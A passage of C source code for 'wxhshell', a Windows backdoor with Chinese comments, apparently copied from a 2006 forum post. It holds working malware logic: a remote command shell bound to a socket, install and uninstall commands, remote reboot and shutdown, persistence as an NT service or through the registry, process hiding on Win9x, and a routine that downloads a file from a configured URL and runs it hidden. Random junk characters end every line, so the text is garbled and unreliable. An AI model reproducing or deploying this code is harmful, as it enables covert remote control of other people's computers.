  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :AztHf?X  
  } 9Q s5e  
  else { 6X h7Bx1  
v(.mM9>  
    switch(cmd[0]) { ~=OJCKv5(  
  BX[ IWP\%  
  // 帮助 1%B9xLq  
  case '?': { N}B&(dJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #9DJk,SP  
    break; hui #<2{  
  } n)q8y0if  
  // 安装 >_yL@^  
  case 'i': { 0/f|ZH ~!  
    if(Install()) ,(x` zpp _  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }>BNdm"Er  
    else Bj \ x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~"`e9Im  
    break; hjg1By(  
    } .p e3L7g  
  // 卸载 Q34u>VkdQI  
  case 'r': { gF)-Ci  
    if(Uninstall()) V>)/z|[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MSM8wYcD  
    else B;=Z^$%T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }a5TY("d9H  
    break; y<- ]'Yts  
    } gtMR/P:S  
  // 显示 wxhshell 所在路径 vkGF_aenk  
  case 'p': { |wuTw|  
    char svExeFile[MAX_PATH]; A)n_ST0  
    strcpy(svExeFile,"\n\r"); k0V]<#h87  
      strcat(svExeFile,ExeFile); r7R'beiH  
        send(wsh,svExeFile,strlen(svExeFile),0); 4lX_2QT]E  
    break; #!O)-dyF  
    } pI K:$eN!/  
  // 重启 fG>3gS6&  
  case 'b': { *Ts$Hj[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q}B]b-c+E  
    if(Boot(REBOOT)) \a;xJzc9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -avxH?;?7  
    else { >e6OlIW  
    closesocket(wsh); ]h`*w  
    ExitThread(0); 18F}3t??  
    } 8o|C43Q_  
    break; ;AOLbmb)H4  
    } =bD.5,F)  
  // 关机 ya~;Of5  
  case 'd': { nsi? .c&0!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ojl X<y.  
    if(Boot(SHUTDOWN)) E%v0@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [nVBnB  
    else { U'" #jT  
    closesocket(wsh); [#@lsI  
    ExitThread(0); qtAt=` s  
    } --l UEo~  
    break; ^rq\kf*]  
    } xOShO"4Z   
  // 获取shell xP_%d,  
  case 's': { *Xk5H,:  
    CmdShell(wsh); u5Z yOZ;  
    closesocket(wsh); @u/CNx,`X  
    ExitThread(0); 9;{(.K  
    break; c8mh#T bl  
  } .gC.T`/m  
  // 退出 |VaJ70\o  
  case 'x': { 3^ UoK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _p:n\9k  
    CloseIt(wsh); k6(</uRj  
    break; [Y*>x2X  
    } Rjq\$aY}%  
  // 离开 Wu{_QuAB  
  case 'q': { dI%jR&.e;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZPE-  
    closesocket(wsh); em,1Yn?  
    WSACleanup(); d*Mqs}8  
    exit(1); ;[ Dxk$"  
    break; iQ Xlz] '  
        } Yn [ F:Z  
  } {c3FJ5:  
  } /Q7q2Ne^*  
*Lz'<=DLoW  
  // 提示信息 8 f~x\.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w`8H=Hf  
} -V4{tIQY  
  } qVfn(rZ  
HM)D/CO,?  
  return; |z3!3?%R  
} @R`6j S_gK  
D ON.)F  
// shell模块句柄 E@k'uyIu  
int CmdShell(SOCKET sock) XTX/vbge3m  
{ y{3+Un  
STARTUPINFO si; 5%9Uh'y#  
ZeroMemory(&si,sizeof(si)); Go c*ugR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %.`u2'^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a_S`$(7k  
PROCESS_INFORMATION ProcessInfo; &Cj~D$kDEu  
char cmdline[]="cmd"; P,m+^,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5L2j, ]  
  return 0; I^f|U  
} {"~[F2qR  
K:< Viz  
// 自身启动模式 =TEe:%mN  
int StartFromService(void) K!ogpd&X&  
{ $#n9C79Z@  
typedef struct IxUj(l1Fm  
{ oh$"?N7n1  
  DWORD ExitStatus; :^`j:B  
  DWORD PebBaseAddress; n6Uh%rO7S|  
  DWORD AffinityMask; c3l(,5DtH  
  DWORD BasePriority; T5}3Y3G,6  
  ULONG UniqueProcessId; ,sc#l<v  
  ULONG InheritedFromUniqueProcessId; xV+\R/)x  
}   PROCESS_BASIC_INFORMATION; ?K pDEH~\  
u{=h%d/  
PROCNTQSIP NtQueryInformationProcess; +Eb-|dM  
V2?{ebx`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yc]_?S>9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "4WnDd 5"  
+pT;; 9  
  HANDLE             hProcess; _J \zj  
  PROCESS_BASIC_INFORMATION pbi; U3B&3K} ~  
"zNS6I?rzE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ] H;E(1iU  
  if(NULL == hInst ) return 0; @BnK C&{  
NVkYm+J#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6<\dQ+~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rMJ@oc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~.^:?yCA  
m=E/um[D  
  if (!NtQueryInformationProcess) return 0; :kI[Pf!z  
X4:84  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jbe:"S tw  
  if(!hProcess) return 0; JE:LA+ (  
B0yGr\KJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; . mO8 ~Z  
}O crA/  
  CloseHandle(hProcess); ?+=,t]`!m  
p@Os  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R?lTB3"  
if(hProcess==NULL) return 0; l[5** ?#  
<astIu Au  
HMODULE hMod; Z)xcxSo  
char procName[255]; : ^}!"4{  
unsigned long cbNeeded; Y{e,I-"{  
-tWxB GSa@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :I";&7C  
mp sX4  
  CloseHandle(hProcess); 2l V`UIa  
,V]FAIJ  
if(strstr(procName,"services")) return 1; // 以服务启动 z"7?I$N Q  
T;Kv<G;  
  return 0; // 注册表启动 :n~Mg{j3  
} vxPr)"Vvz  
tq}sedYhee  
// 主模块 6v:L8 t$"  
int StartWxhshell(LPSTR lpCmdLine) /o$6"~t  
{ xG edY*[`  
  SOCKET wsl; GBg  
BOOL val=TRUE;  Iw?^  
  int port=0; d=+zOF  
  struct sockaddr_in door; 3C=QWw?  
dMjQV&  
  if(wscfg.ws_autoins) Install(); t4;gY298  
={o4lFe3v(  
port=atoi(lpCmdLine); KMb'm+  
;dZZOocV1  
if(port<=0) port=wscfg.ws_port; 7mi=Xa:U  
.XK3o .ZhW  
  WSADATA data; MTE 1\,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dmkGIg}  
I31Nu{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D?Ol)aj?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?T%"Jgy8  
  door.sin_family = AF_INET; @fo(#i&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wb#[&2i  
  door.sin_port = htons(port); tD}{/`{_t  
f9_Pn'"I  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !T)_(}|6}  
closesocket(wsl); A;ZluQ  
return 1; K( MZ!>{  
} `_neYT  
rFC9y o  
  if(listen(wsl,2) == INVALID_SOCKET) { 23=wz%tF  
closesocket(wsl); \[]BB5)8  
return 1; jsV1~1:83  
} *}HDq(/>w  
  Wxhshell(wsl); *pS3xit~  
  WSACleanup(); 4M>]0%3.D  
mrsN@(X0  
return 0; $i8oLSRV  
It3@ Cd>  
} d\A7}_r*x  
8EiS\$O-  
// 以NT服务方式启动 P%[ { 'u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VWXyN  
{ gQhYM7NP{5  
DWORD   status = 0; c2GTN"  
  DWORD   specificError = 0xfffffff; 60|m3|0o  
SJ8 ~:"\P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; kp?_ir  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o"N\l{#s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ek06=2i  
  serviceStatus.dwWin32ExitCode     = 0; rWM5&M  
  serviceStatus.dwServiceSpecificExitCode = 0; *6_>/!ywI  
  serviceStatus.dwCheckPoint       = 0; %ID48_>*  
  serviceStatus.dwWaitHint       = 0; )99^58my  
5K|`RzZ`B$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5D^2 +`$/  
  if (hServiceStatusHandle==0) return; d"ZsOq10D  
,HE{&p2y  
status = GetLastError(); |l|$ Q;  
  if (status!=NO_ERROR) ow,! 7|m  
{ NQ '|M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }DvT6  
    serviceStatus.dwCheckPoint       = 0; :W-xsw  
    serviceStatus.dwWaitHint       = 0; 5P);t9O6  
    serviceStatus.dwWin32ExitCode     = status; Ho%%voJBS  
    serviceStatus.dwServiceSpecificExitCode = specificError; @O6 2} F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _!vuDv%  
    return; 9j;!4AJ1t  
  } 4 ;6,h6a  
&ML-\aSal  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; GIkVU6Q}  
  serviceStatus.dwCheckPoint       = 0; '|%\QWuZ  
  serviceStatus.dwWaitHint       = 0; u8x#XESR7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yi-)4#YN  
} "[_gRe*2  
!a%_A^t7  
// 处理NT服务事件,比如:启动、停止 JsX}PVuL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (c3O> *M  
{ ,k:>Z&:  
switch(fdwControl) mX @xV*  
{ gazX2P[D  
case SERVICE_CONTROL_STOP: _>t6]?*  
  serviceStatus.dwWin32ExitCode = 0; ob)c0Pz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6%c]{eTd9  
  serviceStatus.dwCheckPoint   = 0; a}k5[)et  
  serviceStatus.dwWaitHint     = 0; `- 9p)@'8k  
  { 3P'Wk|j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zb!RfQ,  
  } \%W"KLP  
  return; d(D|rf,av  
case SERVICE_CONTROL_PAUSE: |t58n{V.O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cGg ~+R2P  
  break; m$'ZiS5  
case SERVICE_CONTROL_CONTINUE: p@YbIn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]*rK;  
  break; &x4|!" G  
case SERVICE_CONTROL_INTERROGATE: 9PR?'X;4  
  break; '_n$xfH  
}; N71%l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k <LFH(  
} 7X/B9Hee  
x)kp*^/  
// 标准应用程序主函数 YO.+ 06X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sdQ "[`~2R  
{ *APTgXYR  
SQG9m2  
// 获取操作系统版本 qHYoQ.ke  
OsIsNt=GetOsVer(); oHethk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hus9Zv4  
Hq <!&  
  // 从命令行安装 l8DZ2cw]  
  if(strpbrk(lpCmdLine,"iI")) Install(); R36A_  
}SW>ysw'm  
  // 下载执行文件 [-=y*lx %g  
if(wscfg.ws_downexe) { Jj+Hj[(@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u>03l(X6f  
  WinExec(wscfg.ws_filenam,SW_HIDE); =kW7|c5Z  
} 5q}7#{A  
RDu{U(!  
if(!OsIsNt) { s%l^zA(  
// 如果时win9x,隐藏进程并且设置为注册表启动 6l(HD([_p  
HideProc(); 0ol*!@?  
StartWxhshell(lpCmdLine); _/}/1/y$Y  
} io$fL_R=  
else eC$ Jdf  
  if(StartFromService()) b;G#MjQp'  
  // 以服务方式启动 `Y<FR  
  StartServiceCtrlDispatcher(DispatchTable); mx0EEU*  
else 8/ CK(G  
  // 普通方式启动 @B>pPCowa  
  StartWxhshell(lpCmdLine); MB?762 Q  
lM%3 ?~?Q&  
return 0; KN\tRE  
}
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只看该作者 1 发表于: 2006-10-10
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